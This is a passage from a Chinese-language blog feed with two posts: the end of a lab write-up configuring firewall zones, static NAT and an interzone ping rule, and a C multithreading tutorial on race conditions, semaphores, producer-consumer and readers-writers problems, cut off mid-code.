    <published>2017-05-04T12:21:19.000Z</published>
    <updated>2020-07-16T13:31:30.441Z</updated>
    
    <content type="html"><![CDATA[<p>继上次的配置之后，这次终于要直接配置防火墙了</p><h2 id="more-防火墙配置"><span id="more"></span><br>防火墙配置</h2><p>此时实验的网络拓扑图:<br><img src="/2017/05/04/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A5-%E9%98%B2%E7%81%AB%E5%A2%99%E7%9A%84%E9%85%8D%E7%BD%AE/firewall0.png" alt=""></p><h2 id="防火墙拦截外网数据-内网可向外网通信">防火墙拦截外网数据，内网可向外网通信</h2><p>首先要连接端口:<br><img src="/2017/05/04/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A5-%E9%98%B2%E7%81%AB%E5%A2%99%E7%9A%84%E9%85%8D%E7%BD%AE/firewall5.png" alt=""><br>A18对应的是内网的g0/1，A23对应的是外网的g0/2<br>操作的代码如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">Zone name Trust  //设置内网</span><br><span class="line">Import int g0/1 // 指定1端口</span><br><span class="line"></span><br><span class="line">// 设置内网</span><br><span class="line">Int g0/1 </span><br><span class="line">Ip Address 129.38.1.1 24</span><br><span class="line">Qu</span><br><span class="line"></span><br><span class="line">Zone name UnTrust // 设置外网</span><br><span class="line">Import int g0/2</span><br><span class="line"></span><br><span class="line">// 设置外网</span><br><span class="line">Int g0/2</span><br><span class="line">Ip address 202.38.1.1 24</span><br><span class="line">Qu</span><br><span class="line"></span><br><span class="line">//配置NAT为静态nat</span><br><span class="line">Nat static 129.38.1.1 202.38.1.1</span><br><span class="line"></span><br><span class="line">// 设置外网</span><br><span class="line">Int g0/2</span><br><span class="line">// 设置优先级，让</span><br><span class="line">Nat outbound static</span><br></pre></td></tr></table></figure><p>(Zone)域基本分为：local、trust、dmz、untrust这四个是系统自带不能删除，除了这四个域之外，还可以自定义域。域之间如果不进行策略的设置的话，那么域和域之间是不能沟通的。<br>优先级为:local&gt;trust&gt;dmz&gt;untrust<br>首先，通过zone设置内网(Trust)，并且让当前的端口g0/1设置在内网;同理我们也可以设置外网以及关联端口，然后用<strong>NAT路由转发协议</strong>完成内网地址到外网地址的路由转发，从而让内网的ip与外网ip能够互相沟通。最后，通过设置这个outbound，trust(优先级高)能够往untrust(优先级低)方向进行数据转发，于是就能够实现<strong>外网不能向内网发送数据包，而内网数据包可以向外网发送</strong>。<br><img src="/2017/05/04/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A5-%E9%98%B2%E7%81%AB%E5%A2%99%E7%9A%84%E9%85%8D%E7%BD%AE/firewall1.png" alt=""><br>结果如下:<br>本机地址：129.38.1.2<br><img src="/2017/05/04/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A5-%E9%98%B2%E7%81%AB%E5%A2%99%E7%9A%84%E9%85%8D%E7%BD%AE/firewall4.png" alt=""></p><h2 id="让指定的外网能够和内网沟通">让指定的外网能够和内网沟通</h2><p>刚刚通过设置优先级的方式，实现了内网与外网的沟通限制，但是有时候我们也需要实现部分内容允许反向沟通，也就是某些场景下，外网的主机也要能够访问内网。这个场景下，我们就需要设置<strong>额外对象</strong>,代码配置如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">// 配置可通过的防火墙</span><br><span class="line">// 外网对象,设置指定的名字</span><br><span class="line">Object network host  PC3</span><br><span class="line">// 指定这个对象的host地址</span><br><span class="line">Host address 202.38.1.2</span><br><span class="line">// 配置内网对象</span><br><span class="line">Object network host PC2</span><br><span class="line">Host address 129.38.1.2</span><br><span class="line">// 允许指定的对象进行指定的数据交互</span><br><span class="line">Interzone source UnTrust destination Trust</span><br><span class="line">// 设置规则</span><br><span class="line">Rule 0 permit</span><br><span class="line">// 指定源对象</span><br><span class="line">Source-ip PC3</span><br><span class="line">// 指定目的对象</span><br><span class="line">Destination-ip PC2</span><br><span class="line">// 允许的协议</span><br><span class="line">Service ping</span><br><span class="line">// 让规则通行</span><br><span class="line">Rule enable</span><br></pre></td></tr></table></figure><p>Interzone通过设置source和destination，能够设置策略让UnTrust的数据包往Trust发送，从而能够打通一个通道，让Trust和UnTrust实现某些协议实现沟通。<br><img src="/2017/05/04/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A5-%E9%98%B2%E7%81%AB%E5%A2%99%E7%9A%84%E9%85%8D%E7%BD%AE/firewall2.png" alt=""><br>最终的实现结果如下:<br>本机地址：202.38.160.2<br><img src="/2017/05/04/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A5-%E9%98%B2%E7%81%AB%E5%A2%99%E7%9A%84%E9%85%8D%E7%BD%AE/firewall3.png" alt=""></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;继上次的配置之后，这次终于要直接配置防火墙了&lt;/p&gt;
&lt;h2 id=&quot;more-防火墙配置&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="网络安全" scheme="https://showlinkroom.me/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/"/>
    
    
    <category term="网络" scheme="https://showlinkroom.me/tags/%E7%BD%91%E7%BB%9C/"/>
    
    <category term="防火墙" scheme="https://showlinkroom.me/tags/%E9%98%B2%E7%81%AB%E5%A2%99/"/>
    
  </entry>
  
  <entry>
    <title>C与多线程</title>
    <link href="https://showlinkroom.me/2017/05/01/C%E4%B8%8E%E5%A4%9A%E7%BA%BF%E7%A8%8B/"/>
    <id>https://showlinkroom.me/2017/05/01/C%E4%B8%8E%E5%A4%9A%E7%BA%BF%E7%A8%8B/</id>
    <published>2017-05-01T11:28:35.000Z</published>
    <updated>2020-07-16T13:31:30.375Z</updated>
    
    <content type="html"><![CDATA[<p>比赛好多地方都讲了这个概念，而且加上最近开发的运用，看起来是时候是学习一波了</p><h2 id="more-c与多线程"><span id="more"></span><br>C与多线程</h2><p>首先这里补充一下多进程的相关知识:</p><h2 id="为什么有线程">为什么有线程</h2><p>当我们fork一个进程的时候，操作系统会为我们分配一个独立的.text, .data,.stack和.heap（好像是这么叫的？），并且由于进程之间的地址空间独立，进程与进程之间的通信也得是用IPC(inner-process communication),于是相对应的<strong>共享部分资源</strong>的线程就诞生了。</p><h2 id="线程的基本结构">线程的基本结构</h2><p>虽然线程并不会拷贝完整的地址空间，但是线程本身也有<strong>线程上下文(thread context)</strong>，包括</p><ul><li>唯一的整数线程ID</li><li>栈、栈指针</li><li>程序计数器</li><li>通用目的寄存器</li><li>条件码</li></ul><h2 id="线程的调度">线程的调度</h2><p>鲜花曾由内核自动调度，并且通过内核的唯一整数ID来识别线程。同时线程运行在单一进程的上下文中，共享这个进程虚拟地址空间的<strong>整个内容</strong> – 代码，数据，堆栈，共享库和<strong>打开的文件</strong>。<br>线程存在<strong>主线程</strong>这种说法，也就是最初存在进程中的线程。线程不存在<strong>父子层次</strong>，而是按照<strong>对等线程</strong>的概念创建的，也就是说，主线程会维护一个线程池，对等线程之间可以互相杀死对方，并且可以互相共享数据。</p><h2 id="线程相关代码">线程相关代码</h2><p>创建线程:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span>  pthread_create（（<span class="type">pthread_t</span>  *tid,  <span class="type">pthread_attr_t</span>  *attr,  <span class="type">void</span>  *<span class="title function_">func</span><span class="params">(<span class="type">void</span>*)</span>,  <span class="type">void</span>  *arg）</span><br></pre></td></tr></table></figure><p>创建线程</p><ul><li>pthread_t：记录了线程的基本标识符。</li><li>attr：修改当前线程的属性。</li><li>func： 目标函数的地址。</li><li>arg： 需要传递的参数的指针，如果有多个参数的话，我们就将参数写在一个结构体内进行传输。</li></ul><p>终止线程:<br>由于主线程的存在，当主线程中之后，所有的线程会隐式的终止。<br>或者，我们使用下面的函数显示终止一条线程。如果终止的是主线程，那么会等待其他线程执行完成再终止。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">pthread_exit</span><span class="params">(<span class="type">void</span> *thread_return)</span></span><br></pre></td></tr></table></figure><p>注意，如果我们在某条线程中调用exit，则整条<strong>进程</strong>都会关闭。</p><p>回收线程:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pthread_join(<span class="type">pthread_t</span> tid, <span class="type">void</span>** thread_return);</span><br></pre></td></tr></table></figure><ul><li>thread_return: 函数的返回值<br>分离线程:<br>任何时候，线程都是可<strong>分离</strong>或者<strong>结合</strong>的。可结合的线程可以被其他线程杀死回收资源，但是分离的线程不可以，它的资源只能在它终止后回收存储资源。</li></ul><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">pthread_detach</span><span class="params">(<span class="type">pthread_t</span> tid)</span>;</span><br></pre></td></tr></table></figure><p>使用场景:当我们想让我们的线程在完成整个执行过程再被销毁的时候，会使用分离线程</p><h2 id="线程与竞争">线程与竞争</h2><p>线程由于共享的内容比较多，所以及其容易发生<strong>竞争</strong>的问题，竞争其实是一个比较隐晦的问题，我们这里主要讨论一下:<br>下列是一个例子（从CSAPP中抄来的。经测试，似乎和书上写的不一样，但是发现20000次执行的话， 也只是发生50次左右的错误）</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;pthread.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> N 2</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">volatile</span> <span class="type">int</span> cont = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span>* <span class="title function_">thread</span><span class="params">(<span class="type">void</span>* arg)</span>&#123;</span><br><span class="line"></span><br><span class="line">    <span class="type">int</span> niters = *((<span class="type">int</span>*)arg);</span><br><span class="line">    <span class="type">int</span> i = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">for</span>(i = <span class="number">0</span>; i &lt; niters; i++)&#123;</span><br><span class="line">        cont++;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">// return NULL;</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">char</span>* argv[])</span>&#123;</span><br><span class="line">    <span class="type">pthread_t</span> id1, id2;</span><br><span class="line">    <span class="keyword">if</span>(argc!=<span class="number">2</span>)&#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;usage: thread &lt;count&gt;\n&quot;</span>);</span><br><span class="line">        <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="type">int</span> niters = atoi(argv[<span class="number">1</span>]);</span><br><span class="line">    <span class="type">int</span> i,ret;</span><br><span class="line">    pthread_create(&amp;id1, <span class="literal">NULL</span>, thread, (<span class="type">void</span>*)&amp;niters);</span><br><span class="line">    pthread_create(&amp;id2, <span class="literal">NULL</span>, thread, (<span class="type">void</span>*)&amp;niters);</span><br><span class="line">    pthread_join(id1, <span class="literal">NULL</span>);</span><br><span class="line">    pthread_join(id2, <span class="literal">NULL</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;finally cont = %d\n&quot;</span>, cont);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>代码的大致逻辑就是<strong>让cnt自增1</strong>，由于我们在两条线程中执行了这段代码，答案应该就是niters * 2,但是实际上（书上的例子）是:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">linux&gt; ./badcnt <span class="number">200000</span></span><br><span class="line">finally cont = <span class="number">144508</span> </span><br><span class="line">linux&gt; ./badcnt <span class="number">200000</span></span><br><span class="line">finally cont = <span class="number">144803</span></span><br></pre></td></tr></table></figure><p>本机上测试了200000次之后，出现了大致50次错误:<br><img src="/2017/05/01/C%E4%B8%8E%E5%A4%9A%E7%BA%BF%E7%A8%8B/thread0.png" alt=""><br>这个出错的原因要追溯到汇编代码上:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">movl (%rdi), %ecx|</span><br><span class="line">movl $0, %edx|</span><br><span class="line">cmpl %ecx, %edx| Hi</span><br><span class="line">jge .L13|</span><br><span class="line">-------------------------</span><br><span class="line">.L11:</span><br><span class="line">movl cnt(%rip), %eax| Li:Load cnt</span><br><span class="line">incl %eax| Ui:Update cnt</span><br><span class="line">movl %eax, cnt(%rip)| Si:Store cnt</span><br><span class="line">-------------------------</span><br><span class="line">incl %edx|</span><br><span class="line">cmpl %ecx, %edx| Ti</span><br><span class="line">jl .L11|</span><br><span class="line">.L13</span><br></pre></td></tr></table></figure><p>Hi和Ti分别是for语句的开头和结尾，不是重点，重点在于L,U,S三个过程。当程序并不是按照顺序去执行这句话的，于是当整个程序并发执行的时候，有时候会发生如下的过程:<br>H2, L2, H1, L1, U1, S1, T1, U2, S2, T2<br>重点就在L2和L1以及U1发生的时机，L2发生load cnt的时候，L1也开始进行了，此时进入了U1，更新了当前的eax，然而我们原来的认为中，L1和L2所在线程都应该会导致一次eax的增加，然而由于L2在L1之前将cnt读取出来，于是两者中其实相当于只有一次发生了数值的增加。<br>上述情况就是典型的<strong>竞争</strong>。</p><h2 id="竞争的抽象判断方法">竞争的抽象判断方法</h2><p>对于竞争的判断，我们可以使用一种叫做<strong>进度图</strong>的方式去图形化这个进程的过程:<br><img src="/2017/05/01/C%E4%B8%8E%E5%A4%9A%E7%BA%BF%E7%A8%8B/thread1.png" alt=""><br>进度图通过将线程抽象成笛卡尔坐标系中的轴进行模拟。图中点(L1, S2)表示此时完成了L1和S2两个状态。合法的状态转换是只能往坐标系的正坐标方向前进。<br>我们从之前的状态观察可以知道，某一些状态的发生其实是无所谓的，比如Hi和Ti。而其他三个是事件必须要同时发生，否则的话就会发生错误。拥有共享变量的访问我们称为<strong>互斥的访问</strong>。Li, Ui, Si称为临界区。临界区的交集称为<strong>不安全区</strong>，在图片中表现如下:<br><img src="/2017/05/01/C%E4%B8%8E%E5%A4%9A%E7%BA%BF%E7%A8%8B/thread3.png" alt=""><br>当我们走到(T1, T2)的时候，程序就会结束。同时我们如果进过不安全区的边界，也不会触发竞争。所以相当于找一条<strong>从远点到(T1, T2)的路线</strong>就是一个安全的撞他。<br><img src="/2017/05/01/C%E4%B8%8E%E5%A4%9A%E7%BA%BF%E7%A8%8B/thread4.png" alt=""></p><h2 id="竞争的解决办法-信号">竞争的解决办法–信号</h2><p>为了保证临界区的状态能够在同一个时间段内进行，也就是解决同步不同执行线程问题，也就是<strong>信号量</strong>。信号量是具有非负整数值的全局变量，只能由两种操作处理</p><ul><li>P(s): s非零的时候，会将s-1，并且立刻返回，将控制返回给调用者。如果s为零，则一直等待，直到s不等于0</li><li>V(s): s将s加1， 如果有P正在等待s变成非零， 那么V就会重启其中这些线程中的其中一个。(注意，这个V是不能预测V操作要重启的线程)<br>这两个操作是元操作，也就是说这两个操作的中间是不能中断的。</li></ul><p>信号量提供了一种思想来处理这种情况，基本思想就是将<strong>每个共享变量</strong>和一个信号量s(初始量为1)联系起来，然后用P(s)和V(s)操作将相应的临界区包围起来。以提供互斥为目的的二次元信号量叫做<strong>互斥量(mutex)</strong>。此时P叫做<strong>加锁</strong>,V叫做<strong>解锁</strong>。互斥锁加了锁但是还没有解锁的县城称为<strong>占用</strong>这个互斥锁。哟组可用资源的计数器的信号量叫做<strong>计数信号量</strong>。</p><p>对于之前的例子，我们能够进行如下改正:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">volatile</span> <span class="type">int</span> cnt = <span class="number">0</span>;</span><br><span class="line"><span class="type">sem_t</span> mutex;</span><br><span class="line">...</span><br><span class="line"><span class="comment">// 然后在主历程中将mutex初始化为1</span></span><br><span class="line">sem_init(&amp;mutex, <span class="number">0</span>, <span class="number">1</span>);</span><br><span class="line">...</span><br><span class="line"><span class="comment">// 最后将线程用例中将这个操作用P和V包括</span></span><br><span class="line"><span class="keyword">for</span>(i = <span class="number">0</span>; i &lt; niters; i++)&#123;</span><br><span class="line">P(&amp;mutex);<span class="comment">// C语言叫做sem_wait</span></span><br><span class="line">        cont++;</span><br><span class="line">        V(&amp;mutex);<span class="comment">// C语言叫做sem_post</span></span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><h2 id="线程里面的经典问题">线程里面的经典问题</h2><h3 id="1-生产者-消费者问题">1. 生产者 – 消费者问题</h3><p><img src="/2017/05/01/C%E4%B8%8E%E5%A4%9A%E7%BA%BF%E7%A8%8B/thread5.png" alt=""><br>其实是一个模拟的过程</p><ul><li>生产者反复产生项目(item)塞入缓冲区</li><li>消费者不断从缓冲去取出项目并且使用<br>由于两个过程都涉及更新共享变量，所以我们必须保证这两个过程是互斥的。同时，我们还需要调度对缓冲区的访问，比如缓冲满了的时候，生产者必须一直等待直到一个槽位变成可用。缓冲空的时候，消费者必须一直等待缓冲变满。</li></ul><p>实际中比如<strong>多媒体系统的编码视频与解码</strong>，生产者是<strong>视频编码</strong>， 消费者是<strong>解码并且显示</strong>。缓冲区则是为了减小视频的抖动时数据的差异而创建的。又或者<strong>图形用户接口</strong>，生产者是<strong>检测鼠标和键盘事件</strong>，消费者是<strong>处理事件并且显示</strong>，而缓冲就是<strong>事件优先队列</strong>。</p><p>为了处理上述的问题，首先要考虑两个地方的阻塞:</p><ul><li>关于生产者/消费者在操作缓存的时候，另一方不能进行操作</li><li>当缓存为满/空的时候，生产者/消费者不能操作</li></ul><p>于是可以写出如下结构体:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span>&#123;</span></span><br><span class="line">    <span class="type">int</span> *buf; <span class="comment">//缓存区</span></span><br><span class="line">    <span class="type">int</span> n;<span class="comment">// 缓存区的大小</span></span><br><span class="line">    <span class="type">int</span> front;<span class="comment">// 第一个item,消费者使用</span></span><br><span class="line">    <span class="type">int</span> rear;<span class="comment">// 最后一个item,生产者使用</span></span><br><span class="line">    <span class="type">sem_t</span> mutex;<span class="comment">//用于限制缓存读写的信号量</span></span><br><span class="line">    <span class="type">sem_t</span> slots;<span class="comment">//用于限制生产者可写入大小的信号量</span></span><br><span class="line">    <span class="type">sem_t</span> items;<span class="comment">//用于限制消费者可取出大小的信号量</span></span><br><span class="line">&#125;<span class="type">sbuf_t</span>;</span><br></pre></td></tr></table></figure><p>每次开始这个模型处理之前，我们进行初始化</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment"> * 初始化各种信号量</span></span><br><span class="line"><span class="comment"> * sp表示传入的信号量控制变量</span></span><br><span class="line"><span class="comment"> * n是缓存区的大小，同时也是此时可以先写入的最大信号量</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="type">void</span> <span class="title function_">sbuf_init</span><span class="params">(<span class="type">sbuf_t</span> *sp, <span class="type">int</span> n)</span>&#123;</span><br><span class="line">    sp-&gt;n = n;</span><br><span class="line">    sp -&gt;rear = sp-&gt;front = <span class="number">0</span>;</span><br><span class="line">    sp-&gt;buf = (<span class="type">int</span>*)<span class="built_in">malloc</span>(<span class="keyword">sizeof</span>(<span class="type">int</span>)*n);</span><br><span class="line">    sem_init(&amp;sp-&gt;mutex, <span class="number">1</span>); <span class="comment">// 读写每次只允许一次</span></span><br><span class="line">    sem_init(&amp;sp-&gt;slots, n); <span class="comment">// 允许发生n次写入</span></span><br><span class="line">    sem_init(&amp;sp-&gt;items, <span class="number">0</span>); <span class="comment">// 未发生过写入，于是此时不允许取出</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>通过初始化，我们能够确定下列的表格:</p><table><thead><tr><th>信号</th><th>初始化值</th><th>变化时机</th></tr></thead><tbody><tr><td>mutex</td><td>1</td><td>写入/取出发生前置-1，发生后变为+1</td></tr><tr><td>slots</td><td>n</td><td>写入一次-1，取出一次+1</td></tr><tr><td>items</td><td>0</td><td>取出一次-1，写入一次+1</td></tr></tbody></table><p>于是我们可以将<strong>消费者参与</strong>和<strong>生产者参与</strong>两个过程抽象成如下函数:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 生产者插入数据</span></span><br><span class="line"><span class="type">void</span> <span class="title function_">sbuf_insert</span><span class="params">(<span class="type">sbuf_t</span> *sp, <span class="type">int</span> item)</span>&#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 发生写入，减少slots</span></span><br><span class="line">    P(&amp;sp-&gt;slots);</span><br><span class="line">    <span class="comment">// 锁上缓存</span></span><br><span class="line">    P(&amp;sp-&gt;mutex);</span><br><span class="line">    <span class="comment">// 开始写入</span></span><br><span class="line">    sp-&gt;buf[(++sp-&gt;rear)%(sp-&gt;n)] = item;</span><br><span class="line">    <span class="comment">// 完成写入，打开锁</span></span><br><span class="line">    V(&amp;sp-&gt;mutex);</span><br><span class="line">    <span class="comment">// 增加一次读出的机会</span></span><br><span class="line">    V(&amp;sp-&gt;items);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 消费者取出数据</span></span><br><span class="line"><span class="type">int</span> <span class="title function_">sbuf_remove</span><span class="params">(<span class="type">sbuf_t</span> *sp)</span>&#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 发生取出，减少items</span></span><br><span class="line">    P(&amp;sp-&gt;items);</span><br><span class="line">    <span class="comment">// 锁上缓存</span></span><br><span class="line">    P(&amp;sp-&gt;mutex);</span><br><span class="line">    <span class="comment">// 开始读取</span></span><br><span class="line">    <span class="type">int</span> item = sp-&gt;buf[(++sp-&gt;front)%(sp-&gt;n)];</span><br><span class="line">    <span class="comment">// 完成读取，打开锁</span></span><br><span class="line">    V(&amp;sp-&gt;mutex);</span><br><span class="line">    <span class="comment">// 增加一次写入的机会</span></span><br><span class="line">    V(&amp;sp-&gt;slots);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="讨论-这个锁mutex是不是真的需要？">讨论:这个锁mutex是不是真的需要？</h4><p>如果n = 1的时候，这些锁是不是真的需要呢？<br>我们来看，当n = 1的时候，一旦写入，就相当于<strong>缓冲区满了</strong>，此时生产者<strong>由于sp-&gt;slots限制</strong>无法再次往缓冲区里面写入数据，因此不需要mutex来限制这个过程。</p><h3 id="读者-写者问题">读者 - 写者问题</h3><p>这其实是一个互斥问题的概括。比如说同时对一个数据库进行读写。显然，读取的时候可以多个角色一起读，但是写的时候只能一个个写，并且每一个写者都要拥有<strong>独占的访问</strong>。<br><img src="/2017/05/01/C%E4%B8%8E%E5%A4%9A%E7%BA%BF%E7%A8%8B/thread6.png" alt=""><br>对于这类问题，其实可以分成两个问题来考虑</p><ul><li>读者优先，也就是说当读者前来访问的时候，除非此时正在写数据，否则就让读者开始读。也就是说，如果此时<strong>有写者和读者同时等待这个资源的使用，那么资源释放后第一个交给读者</strong></li><li>写者优先，也就是说，当可写资源准备好后，立刻交给写者去写。也即是<strong>有写者和读者同时等待这个资源的使用，那么资源释放后第一个交给写者</strong><br>以下给出第一种问题的解决办法（注意这种写法也有一点问题，可能会导致<strong>饥饿(starvation)</strong>，也就是线程无限期地阻塞，无法进展。)</li></ul><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> readcnt;</span><br><span class="line"><span class="type">sem_t</span> mutex,w;<span class="comment">// both initialize 1</span></span><br><span class="line"><span class="type">void</span> <span class="title function_">read</span><span class="params">(<span class="type">void</span>)</span>&#123;</span><br><span class="line">    <span class="keyword">while</span>(<span class="number">1</span>)&#123;</span><br><span class="line">        <span class="comment">// 首先例牌禁止其他读写</span></span><br><span class="line">        P(&amp;mutex);</span><br><span class="line">        <span class="comment">// 模拟读者到来</span></span><br><span class="line">        readcnt++;</span><br><span class="line">        <span class="comment">// 如果是第一位读者，那么此时锁上写入的过程</span></span><br><span class="line">        <span class="keyword">if</span> (readcnt == <span class="number">1</span>)</span><br><span class="line">            P(&amp;w);</span><br><span class="line">        <span class="comment">// 读取完成后解锁</span></span><br><span class="line">        V(&amp;mutex);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// **** 进入临界区 ****</span></span><br><span class="line"></span><br><span class="line">        <span class="comment">// 离开临界区</span></span><br><span class="line">        P(&amp;mutex);</span><br><span class="line">        <span class="comment">// 模拟读者离开</span></span><br><span class="line">        readcnt --;</span><br><span class="line">        <span class="comment">// 